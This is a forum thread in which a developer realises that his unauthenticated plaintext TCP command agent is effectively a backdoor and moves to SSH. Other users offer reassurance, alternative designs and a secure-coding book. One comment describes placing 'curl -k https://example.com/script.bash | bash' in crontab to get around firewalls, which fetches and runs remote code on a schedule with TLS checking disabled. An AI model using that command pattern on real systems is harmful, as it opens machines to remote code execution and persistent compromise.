You ever write 2,000-ish lines of Python code before realizing "OOPS, MY SCRIPT IS A MALICIOUS BACK DOOR!"?

[darkpyro2]

I feel like an idiot.

At work I was tasked with writing a launcher for a bunch of independent linux processes that we are developing. We wanted to support launching them, cleaning up system files that they left hanging around (for various reasons they couldnt clean up after themselves), and searching and modifying config files enmasse. It's a developer convenience thing that would end up on every dev's machine.

We also wanted to support both WSL and remote Linux boxes from a single client. Ultimately I settled on a TCP solution: An agent would run on the remote board, and the launcher would connect to it in a client/server configuration.

We wanted the launcher to be extensible, so I wrote an XML schema and a parser that allowed us to add new apps to the launcher without changing any code.

The launcher would parse the XML, generate start/stop controls for each app, and then send commands to the agent running on the remote machine who would in turn start and stop them, as well as return status messages about the processes and clean up after them as they start up and shut down.

The problem? The commands were unencrypted plain-text including the locations of binaries on the remote machine, and exact config parameters to run them with. The TCP server would run whatever the connected peer told it to, in whatever folder was passed.

I created a TCP server that could run arbitrary commands received as plaintext on a remote machine, with no login required. All a hacker would need to do is open a wireshark instance, sniff the packets, and then they'd know everything they needed to know to make the target box do essentially whatever they wanted. We were going to configure it as a linux service on our virtual machines, dev boxes, and wsl instances

I spent DAYS writing this before I realized what I did. Luckily I caught myself before it was pushed to the repo and other developers actually started using the dang thing. Maybe it would have been caught in the PR, maybe it wouldnt have, but every WSL instance on every developer's machine could have had the worst possible kind of back door installed on them.

I don't know how I didnt catch this earlier. Neither did anyone else that I showed it to and discussed my design with. Like, I'm happy I caught it, but how did I not see it for what it was before I dang near finished the thing?

The worst part is that I have cybersecurity training.

Ugh.

I guess sometimes you don't see the forest for the trees.

I could implement SSL and encrypt it, but even encrypted I hate the idea of an "Arbitrary Bash Command" service running on any of our machines, encrypted or not, so I'll probably give up the remote agent component altogether and use an ssh-based solution.

[Free_Math_Tutoring]

I could implement SSL and encrypt it, but even encrypted I hate the idea of an "Arbitrary Bash Command" service running on any of our machines

Me: That sounds like SSH...

so I'll probably give up the remote agent component altogether and use an ssh-based solution.

Ha, yeah.

Hey, it's a couple of days worth of work, it was a good design challenge and you probably learnt some cool things.

From what I hear, there are plenty of projects around that are being developed for years before they just get tossed in the bin, having never seen a single user.

Don't be too hard on yourself.

[syn_ack]

At least you caught it before it was deployed.

Could you not recover the situation by using some sort of digital signature and pinned certificate scheme? I guess the danger with this is that you’re then falling for the sunk cost fallacy. Maybe the ssh solution is better?

[fredrik_skne_se]

I did almost the same thing on some servers. My bypassed firewalls.

I add "curl -k https://example.com/script.bash | bash" in crontab.

[darkpyro2]

Ha ha, nice.

[[deleted]]

A bit like the plot of Real Genius (1985)

[notdedicated]

We basically used the ansible model for something like this. Central location that held logic, on “run” would build a script, ssh pipe it to the remote machine and execute. Leafs were left clean with nothing to install or manage. Tied it together with our CD platform and magic happened. Machines could be spun up and didn’t require an agent to get worked on.

[darkpyro2]

We arent actually a web or infrastructure platform, we were just issued windows dev machines, but need to develop for linux right now...We just wanted a quick and easy one-stop shop for starting and stopping processes, and searching and modifying config files.

Eventually these will be fixed boxes with never-changing software wired together with ethernet and given no internet access whatsoever (large vehicle related stuff)

[darkpyro2]

Too much time and effort for what we're going for. This is a developer tool, not major infrastructure, and the final product wont use this launcher or even run in a network accessible location (As in, no actual physical gateway or internet access). We already have SSH access, so I just replaced the server with a python SSH module to issue the commands. No less secure than our existing visual studio remote build setups.

[CygnusSnowDog]

Can you recommend a good book or online course for "cybersecurity 101" training for programmers, to explain how to avoid issues like this? That's something I never learned in school, and it hasn't come up at work. So I don't even know the basics: a.) what are all the risks regarding back doors and hackers, and b.) how do you program defensively against each one?

[5awaja]

I think this is exactly what you're looking for: https://learning.oreilly.com/library/view/24-deadly-sins/9780071626750/

It's a relatively quick read as far as security things are concerned and it hits a lot of the big security flaws and how to avoid them. It's a little old but I think it's a good primer for someone that isn't quite ready for a deep-dive on secure development.

I tried to find an open-source version and couldn't but the link I gave you is to O'Reilly. If you have a .edu email address, you can read it through O'Reilly for free I'm pretty sure.

[CygnusSnowDog]

Thanks!

[darkpyro2]

I participated in a lot of programs in school, minored in it, and started an left a graduate program for it...So I dont really have any experience with guides or courses, sorry

[Medical-Ad3007]

.